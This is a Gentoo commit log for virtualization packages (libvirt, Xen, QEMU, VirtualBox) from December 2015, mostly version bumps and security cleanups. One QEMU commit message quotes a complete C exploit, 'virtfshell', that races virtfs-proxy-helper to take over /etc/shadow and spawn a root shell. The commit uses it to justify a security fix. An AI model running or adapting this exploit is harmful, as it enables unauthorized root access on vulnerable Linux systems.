Get Gentoo!
gentoo.org sites
gentoo.org Wiki Bugs Forums Packages
Planet Archives Sources
Infra Status
summaryrefslogtreecommitdiff
path: root/app-emulation
Commit message (Collapse)AuthorAgeFilesLines
* app-emulation/virt-manager: Version bumpManuel Rüger2015-12-222-0/+106
| | | | | | Gentoo-Bug: #568154 Package-Manager: portage-2.2.26
* app-emulation/libvirt-glib: remove old versions 0.2.0, 0.2.1Matthias Maier2015-12-223-109/+0
| | | | Package-Manager: portage-2.2.26
* app-emulation/libvirt: remove vulnerable 1.2.18 (CVE-2015-5313, bug #568870)Matthias Maier2015-12-224-663/+0
| | | | | | | | This is a cleanup for CVE-2015-5313 bug 568870. Gentoo-Bugs: 568870 Package-Manager: portage-2.2.26
* app-emulation/libvirt: x86 stable wrt bug #568870Agostino Sarubbo2015-12-221-1/+1
| | | | | | Package-Manager: portage-2.2.24 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
* app-emulation/libvirt: amd64 stable wrt bug #568870Agostino Sarubbo2015-12-221-1/+1
| | | | | | Package-Manager: portage-2.2.24 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
* app-emulation/xen-tools: amd64 stable wrt bug #566842Agostino Sarubbo2015-12-221-1/+1
| | | | | | Package-Manager: portage-2.2.24 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
* app-emulation/libvirt: remove vuln. 1.2.(20|21) (CVE-2015-5313, bug #568870)Matthias Maier2015-12-223-763/+0
| | | | | | | | This is a cleanup for CVE-2015-5313 bug 568870. Gentoo-Bugs: 568870 Package-Manager: portage-2.2.26
* app-emulation/libvirt: security fix for 1.2.21 (CVE-2015-5313, bug #568870)Matthias Maier2015-12-222-1/+2
| | | | | | | | | | | | Apply fix for CVE-2015-5313 to 1.2.21: A path-traversal flaw was found in the way the libvirt daemon handled file-system names for storage volumes. A libvirt user with privileges to create storage volumes and without privileges to create and modify domains could possibly use this flaw to escalate their privileges. Gentoo-Bug: 568870 Package-Manager: portage-2.2.26
* app-emulation/cloud-init: amd64 stable wrt bug #568596Agostino Sarubbo2015-12-211-1/+1
| | | | | | Package-Manager: portage-2.2.24 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
* virtualbox packages: Removed old.Lars Wendler2015-12-2112-1139/+0
| | | | | Package-Manager: portage-2.2.26 Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
* virtualbox packages: Bump to version 5.0.12Lars Wendler2015-12-2112-0/+1139
| | | | | Package-Manager: portage-2.2.26 Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
* app-emulation/qemu: disable libgcrypt usage #568856Mike Frysinger2015-12-202-0/+12
|
* clean out unused use flagsMichael Sterrett2015-12-171-2/+0
| | | | Package-Manager: portage-2.2.24
* clean oldMichael Sterrett2015-12-176-316/+0
| | | | Package-Manager: portage-2.2.24
* app-emulation/qemu: drop versions <2.4.1-r2Mike Frysinger2015-12-1738-9482/+0
|
* app-emulation/qemu-guest-agent: version bump to 2.5.0Mike Frysinger2015-12-172-0/+89
|
* app-emulation/qemu: version bump to 2.5.0Mike Frysinger2015-12-172-0/+646
|
* app-emulation/xen: revbumps to vns. 4.5.2-r3, 4.6.0-r4Ian Delaney2015-12-173-0/+376
| | | | | | | | security patches added of xsa 164,165,166 re security Bug 567962 Gentoo bug: #567962 Package-Manager: portage-2.2.24
* app-emulation/xen-tools: revbumps to vns. 4.5.2-r3, 4.6.0-r5Ian Delaney2015-12-173-0/+937
| | | | | | | | | security patches added of xsa 164,165,166, and those effecting qemu (4) from xsa-155 re security Bug 567962 Gentoo bug: #567962 Package-Manager: portage-2.2.24
* app-emulation/qemu: x86 stable wrt bug #567828Agostino Sarubbo2015-12-161-1/+1
| | | | | | Package-Manager: portage-2.2.24 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
* app-emulation/qemu: amd64 stable wrt bug #567828Agostino Sarubbo2015-12-161-1/+1
| | | | | | Package-Manager: portage-2.2.24 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
* app-emulation/qemu: add upstream fixes for #567828 #568214Mike Frysinger2015-12-153-0/+750
|
* app-emulation/qemu: drop virtfs-proxy-helper fcaps from all versions #568226Mike Frysinger2015-12-159-36/+0
|
* app-emulation/crossover-bin: Bump to 15.0.0Richard Yao2015-12-142-0/+142
| | | | | Package-Manager: portage-2.2.20.1 Signed-off-by: Richard Yao <ryao@gentoo.org>
* app-emulation/vice: amd64 stable wrt bug #568078Agostino Sarubbo2015-12-141-1/+1
| | | | | | Package-Manager: portage-2.2.24 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
* app-emulation/xen: amd64 stable wrt bug #566842Agostino Sarubbo2015-12-141-1/+1
| | | | | | Package-Manager: portage-2.2.24 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
* app-emulation/qemu: critical security fixJason A. Donenfeld2015-12-144-0/+2495
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The virtfs-proxy-helper program is not a safe binary to give caps. The following exploit code demonstrates the vulnerability: ~=~=~=~= snip ~=~=~=~= /* == virtfshell == * * Some distributions make virtfs-proxy-helper from QEMU either SUID or * give it CAP_CHOWN fs capabilities. This is a terrible idea. While * virtfs-proxy-helper makes some sort of flimsy check to make sure * its socket path doesn't already exist, it is vulnerable to TOCTOU. * * This should spawn a root shell eventually on vulnerable systems. * * - zx2c4 * 2015-12-12 * * * zx2c4@thinkpad ~ $ lsb_release -i * Distributor ID: Gentoo * zx2c4@thinkpad ~ $ ./virtfshell * == Virtfshell - by zx2c4 == * [+] Beginning race loop * [+] Chown'd /etc/shadow, elevating to root * [+] Cleaning up * [+] Spawning root shell * thinkpad zx2c4 # whoami * root * */ #include <stdio.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/inotify.h> #include <unistd.h> #include <stdlib.h> #include <signal.h> static int it_worked(void) { struct stat sbuf = { 0 }; stat("/etc/shadow", &sbuf); return sbuf.st_uid == getuid() && sbuf.st_gid == getgid(); } int main(int argc, char **argv) { int fd; pid_t pid; char uid[12], gid[12]; sprintf(uid, "%d", getuid()); sprintf(gid, "%d", getgid()); printf("== Virtfshell - by zx2c4 ==\n"); printf("[+] Beginning race loop\n"); while (!it_worked()) { fd = inotify_init(); unlink("/tmp/virtfshell/sock"); mkdir("/tmp/virtfshell", 0777); inotify_add_watch(fd, "/tmp/virtfshell", IN_CREATE); pid = fork(); if (!pid) { close(0); close(1); close(2); execlp("virtfs-proxy-helper", "virtfs-proxy-helper", "-n", "-p", "/tmp", "-u", uid, "-g", gid, "-s", "/tmp/virtfshell/sock", NULL); _exit(1); } read(fd, 0, 0); unlink("/tmp/virtfshell/sock"); symlink("/etc/shadow", "/tmp/virtfshell/sock"); close(fd); kill(pid, SIGKILL); wait(NULL); } printf("[+] Chown'd /etc/shadow, elevating to root\n"); system( "cp /etc/shadow /tmp/original_shadow;" "sed 's/^root:.*/root::::::::/' /etc/shadow > /tmp/modified_shadow;" "cat /tmp/modified_shadow > /etc/shadow;" "su -c '" " echo [+] Cleaning up;" " cat /tmp/original_shadow > /etc/shadow;" " chown root:root /etc/shadow;" " rm /tmp/modified_shadow /tmp/original_shadow;" " echo [+] Spawning root shell;" " exec /bin/bash -i" "'"); return 0; }
* app-emulation/virt-viewer: drop old version 0.5.6, remove obsolete patchMatthias Maier2015-12-123-75/+0
| | | | Package-Manager: portage-2.2.26
* app-emulation/virt-viewer: version bump to 3.0 (bug #567654)Matthias Maier2015-12-122-0/+50
| | | | | | Gentoo-Bug: 567654 Package-Manager: portage-2.2.26
* app-emulation/lxd: remove oldErik Mackdanz2015-12-1111-516/+0
| | | | Package-Manager: portage-2.2.26
* app-emulation/lxd: bump to 0.24Erik Mackdanz2015-12-116-0/+264
| | | | Package-Manager: portage-2.2.26
* app-emulation/docker-compose: remove version 1.2.0-r1Alex Brandt2015-12-112-63/+0
| | | | Package-Manager: portage-2.2.26
* app-emulation/docker-compose: add version 1.5.2Alex Brandt2015-12-112-0/+63
| | | | Package-Manager: portage-2.2.26
* app-emulation/xen-tools: re-add xen-tools-4.5.2-r1.ebuildIan Delaney2015-12-092-0/+467
| | | | | Package-Manager: portage-2.2.24 RepoMan-Options: --force
* app-emulation/xen: re-add xen-4.5.2-r1.ebuildIan Delaney2015-12-092-0/+182
| | | | | Package-Manager: portage-2.2.24 RepoMan-Options: --force
* app-emulation/xen: Correct trivial typo in Comment, note errata in prior entryIan Delaney2015-12-091-1/+1
| | | | | | | Note: line 3 in previous commit re adding sec patches should read; Addition of patches XSA-158 (#566844), XSA-{159,160} (#566842) Package-Manager: portage-2.2.24
* clean vulnerable vns. wrt #566842 #566844Ian Delaney2015-12-093-924/+0
| | | | Package-Manager: portage-2.2.24
* app-emulation/xen-tools: revbumps -> vns. 4.5.2-r2, 4.6.0-r3 wrt sec. bugsIan Delaney2015-12-093-0/+936
| | | | | | | | | | | | Addition of patches XSA-158 (#566844), XSA-{159,160} (#566842), fixing all corresponding security issues, patches made avaialable for public release as of yesterday (08/12). Patches compressed into my devspace then combined with those of dlan insource. This format will do for now. Not to be adjusted without prior discussion. All patches pass runtests Gentoo bugs: #566842 #566844 Package-Manager: portage-2.2.24
* app-emulation/xen: clean vulnerable vns. wrt #566842 #566844Ian Delaney2015-12-095-368/+7
| | | | Package-Manager: portage-2.2.24
* app-emulation/xen: revbumps -> vns. 4.5.2-r2, 4.6.0-r3 wrt sec. bugsIan Delaney2015-12-093-0/+370
| | | | | | | | | | | | Addition of patches XSA-158 (#566842), XSA-158 (#566844), fixing all corresponding security issues, patches made avaialable for public release as of yesterday (08/12). Patches compressed into my devspace then combined with those of dlan insource. This format will do for now. Not to be adjusted without prior discussion. All patches pass runtests. Gentoo bugs: #566842 #566844 Package-Manager: portage-2.2.24
* app-emulation/qemu: switch to new libcacard release #561814Mike Frysinger2015-12-071-1/+1
|
* app-emulation/libcacard: version bump to 2.5.1 #561812Mike Frysinger2015-12-072-0/+30
|
* app-emulation/qemu: add USE=virgl for Virgil 3d GPU #566994Mike Frysinger2015-12-072-1/+4
|
* app-emulation/qemu: add upstream security fixes #566792 #567144Mike Frysinger2015-12-074-0/+795
|
* app-emulation/runc: fix Manifest.Robin H. Johnson2015-12-071-0/+1
| | | | Package-Manager: portage-2.2.24
* app-emulation/runc: version bumpDoug Goldstein2015-12-061-0/+52
| | | | | | bump to latest upstream release. Signed-off-by: Doug Goldstein <cardoe@gentoo.org>
* app-emulation/qemu: utilize xen-tools sub-slotDoug Goldstein2015-12-068-8/+8
| | | | | | | app-emulation/xen-tools now exposes a sub-slot to help dependencies rebuild when necessary. Signed-off-by: Doug Goldstein <cardoe@gentoo.org>
* app-emulation/libvirt: utilize xen-tools sub-slotDoug Goldstein2015-12-065-5/+5
| | | | | | | app-emulation/xen-tools now exposes a sub-slot to help dependencies rebuild when necessary. Signed-off-by: Doug Goldstein <cardoe@gentoo.org>
* Revert "app-emulation/xen: provide a sub-slot"Doug Goldstein2015-12-061-3/+2
| | | | | This reverts commit 8a11081f495114c5ddfb54a8cef9285d6d7aa878. The sub-slot needs to only be on app-emulation/xen-tools.
* app-emulation/docker-machine: version bump to 0.5.2Zac Medico2015-12-062-0/+42
| | | | Package-Manager: portage-2.2.26